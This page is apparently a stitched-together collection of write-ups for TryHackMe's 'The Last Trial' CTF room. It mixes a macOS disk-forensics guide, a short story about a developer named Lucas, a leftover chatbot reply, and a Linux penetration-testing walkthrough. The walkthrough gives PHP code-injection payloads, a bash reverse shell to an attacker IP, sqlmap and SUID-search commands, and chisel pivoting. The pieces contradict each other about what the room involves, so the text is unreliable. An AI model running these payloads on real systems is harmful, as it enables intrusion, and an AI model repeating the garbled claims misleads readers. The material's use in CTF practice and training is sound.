The Last Trial Tryhackme Verified May 2026

"The Last Trial" is the final, high-stakes chapter of the Honeynet Collapse CTF on TryHackMe. Unlike previous rooms in the series that focus on Windows domains, this room shifts the spotlight to macOS forensics, challenging investigators to trace the actions of a lead developer named Lucas who fell for a malicious "free trial" trap.

Below is a detailed guide to navigating this verified challenge, focusing on critical artifacts and forensic methodologies. Initial Setup: Mounting the Evidence

The challenge provides a raw disk image (Lucas_Disk.img) that you must analyze within a Linux environment. Because macOS uses the APFS (Apple File System), you cannot mount it using standard Linux tools without specific drivers. Mount the Image: Use apfs-fuse to expose the disk contents.

sudo apfs-fuse -v 4 /home/ubuntu/Lucas_Disk.img /home/ubuntu/mac_mount/

Explore the Root: Navigate to the mounted directory. The key forensic artifacts are typically located within the /root and /private-dir folders. Step-by-Step Forensic Investigation 1. Identifying the Entry Point (Browser History)

The scenario hints that Lucas was lured by a "free trial" of a development tool. To find the source of the infection, you must examine the Safari browsing history. Artifact Location: Safari/History.db.

Analysis: Use sqlite3 to query the database for terms like "AI" or "trial."

Key Discovery: Lucas visited a site offering a tool called DevelopAI. The installer, DevelopAIInstaller.pkg, is a primary indicator of compromise (IoC). 2. Tracking the Malicious Package

Malicious .pkg files on macOS often execute scripts during installation.

Artifact Check: While the installer itself may have been deleted from the Downloads folder, traces remain in system logs or the /Applications directory.

Search for IoCs: Use grep to find hardcoded URLs or IP addresses within Application binaries. grep -Eir 'http|https' /path/to/app 2>/dev/null. 3. Uncovering Command and Control (C2)

Once the malware is installed, it typically communicates with a remote server. Forensic analysts look for:

Hardcoded Strings: Often, C2 addresses are embedded directly in the malicious binary's strings. the last trial tryhackme verified

Network Artifacts: Check for any remaining .plist files (Persistence items) that might contain execution arguments or remote addresses. 4. Analyzing Persistence and Execution

In macOS, persistence is frequently achieved through LaunchAgents or LaunchDaemons.

Artifact Location: /Library/LaunchAgents/ or ~/Library/LaunchAgents/.

Objective: Identify any unusual .plist files that point to the malicious "DevelopAI" binary, ensuring it runs every time Lucas logs in. Summary of Key Forensic Artifacts File/Path to Investigate Browsing History ~/Library/Safari/History.db Download Records ~/Library/Preferences/com.apple.Safari.plist or Downloads/ Persistence /Library/LaunchAgents/ and /Library/LaunchDaemons/ Malware Strings

Executables within /Applications/DevelopAI.app/Contents/MacOS/

By systematically piecing together these artifacts, you can verify how the threat actor bypassed Lucas's defenses and what data may have been exfiltrated during this "Last Trial." The Last Trial | TryHackMe | Walkthrough | by Sornphut

The rain drummed against Lucas’s window, a steady rhythm that matched the frantic clicking of his mouse. He was close. Just one more trial, and the deployment script for his new project would be perfect

He’d spent weeks scouring the web for a tool that could bridge the gap in his development skills. Most were too expensive, but then he found it: a "Verified Full-Access Trial" of a top-tier security scanner. It was exactly what he needed, or so the deceptive landing page promised.

Lucas hit "Accept Terms" without a second thought. For a moment, his terminal bloomed with green success messages. Then, the screen flickered.

The room he was working in—fictionalized in his mind as a high-stakes digital vault—felt suddenly cold. The trial wasn't a tool; it was a Trojan. Within seconds, his browser history was being scraped, his local databases queried for sensitive "AI" related entries, and his entire project was being mirrored to a remote server.

"I just wanted to verify my code," he whispered, watching as a ransom note materialized on his desktop.

He realized too late that this wasn't just another practice room or a "free trial." It was the Last Trial "The Last Trial" is the final, high-stakes chapter

he would ever take lightly. As the final bits of his data encrypted, Lucas sat back, the blue light of the monitor reflecting in his eyes. The lesson was verified, but the cost was everything.

Was this the kind of story you were looking for, or did you want it to focus more on the specific CTF mechanics of the room? The Last Trial | TryHackMe | Walkthrough | by Sornphut

You're looking for a guide on the "The Last Trial" challenge on TryHackMe, a popular online platform for learning cybersecurity and penetration testing. Since the challenge is verified, I'll provide a walkthrough to help you complete it.

Challenge Description: "The Last Trial" is a medium-difficulty challenge that simulates a real-world scenario where you'll need to exploit a vulnerable system, escalate privileges, and ultimately gain access to the root account.

Step 1: Reconnaissance

  1. Start by visiting the TryHackMe platform and selecting the "The Last Trial" challenge.
  2. You'll be provided with a VPN IP address, which you'll use to access the target system.

Step 2: Initial Exploitation

  1. Open a terminal and use nmap to perform an initial scan of the target system: nmap -sV -p- <VPN_IP_ADDRESS>
  2. Analyze the scan results to identify open ports and services.
  3. You should see that ports 22 (SSH) and 80 (HTTP) are open.

Step 3: Web Application Analysis

  1. Open a web browser and navigate to http://<VPN_IP_ADDRESS>.
  2. You'll see a simple web application with a login form.
  3. Try to login with default credentials (e.g., admin:admin) or use a tool like burpsuite to analyze the web application.

Step 4: Identifying Vulnerability

  1. Inspect the web application source code or use a vulnerability scanner to identify a potential vulnerability.
  2. You should find that the web application is vulnerable to a PHP code injection attack.

Step 5: Exploiting the Vulnerability

  1. Use a tool like curl or burpsuite to inject malicious PHP code into the web application.
  2. Inject the following code: <?php system('whoami'); ?>
  3. Analyze the response to confirm that you've successfully injected code.

Step 6: Privilege Escalation

  1. Use the injected code to execute system commands and gain more information about the system.
  2. Run system('id') to check the current user's ID.
  3. Run system('cat /etc/passwd') to view the system's user list.

Step 7: Getting a Shell

  1. Inject the following code to get a reverse shell: <?php system('bash -i >& /dev/tcp/<YOUR_IP_ADDRESS>/8080 0>&1'); ?>
  2. Set up a listener on your local machine using nc -l -p 8080.
  3. Establish a connection to the target system using the reverse shell.

Step 8: Escalating to Root

  1. Analyze the system to identify potential escalation vectors (e.g., sudo permissions).
  2. Run sudo -l to list the commands that can be executed with sudo permissions.
  3. Use a technique like PATH exploitation or search for a vulnerable binary.

Step 9: Final Exploitation

  1. Once you've identified an escalation vector, use it to gain root access.
  2. Run sudo <command> to execute a command with elevated privileges.

Step 10: Proof of Completion

  1. Once you've gained root access, run the command whoami and id.
  2. Take note of the output to provide as proof of completion.

By following this walkthrough, you should be able to complete the "The Last Trial" challenge on TryHackMe. If you get stuck, don't hesitate to ask for help or seek additional resources. Happy hacking!

Task 1: Reconnaissance

As with any CTF, we start by enumerating the target machine to identify open ports and services.

Nmap Scan:

nmap -sV -sC -oN nmap.txt <MACHINE_IP>

Results:

  • Port 22 (SSH): OpenSSH 7.6p1 Ubuntu
  • Port 80 (HTTP): Apache httpd 2.4.29 (Ubuntu)

We have two ports open. SSH usually requires credentials we don't have yet, so we focus our initial efforts on the web server running on port 80.

Common Tools & Commands

  • nmap, gobuster, nikto, dirb, curl, wfuzz
  • sqlmap for SQL injection: sqlmap -u "http://<IP>/page?id=1" --batch --dbs
  • reverse shell payloads (bash, python, php)
  • linpeas.sh for local enumeration
  • sudo -l, find / -perm -4000 -type f 2>/dev/null

Phase 4: Lateral Movement – The Second Machine

With root on Machine 1, you find a .ssh/id_rsa key belonging to john. Machine 2 (IP 172.17.0.2) is internal. Use chisel to pivot:

On attacker:

./chisel server -p 8000 --reverse

On Machine 1 (root):

./chisel client YOUR_IP:8000 R:socks

Use proxychains to SSH into Machine 2:

proxychains ssh -i john_key john@172.17.0.2

Machine 2 is Windows Server 2019. This is where The Last Trial becomes a Windows privilege escalation nightmare. Start by visiting the TryHackMe platform and selecting

Objectives

  1. Perform network and service enumeration.
  2. Identify vulnerable services and web application endpoints.
  3. Achieve initial access (web exploit, misconfiguration, or credentials).
  4. Escalate privileges to root via local vulnerabilities or misconfigurations.
  5. Capture and submit both user and root flags.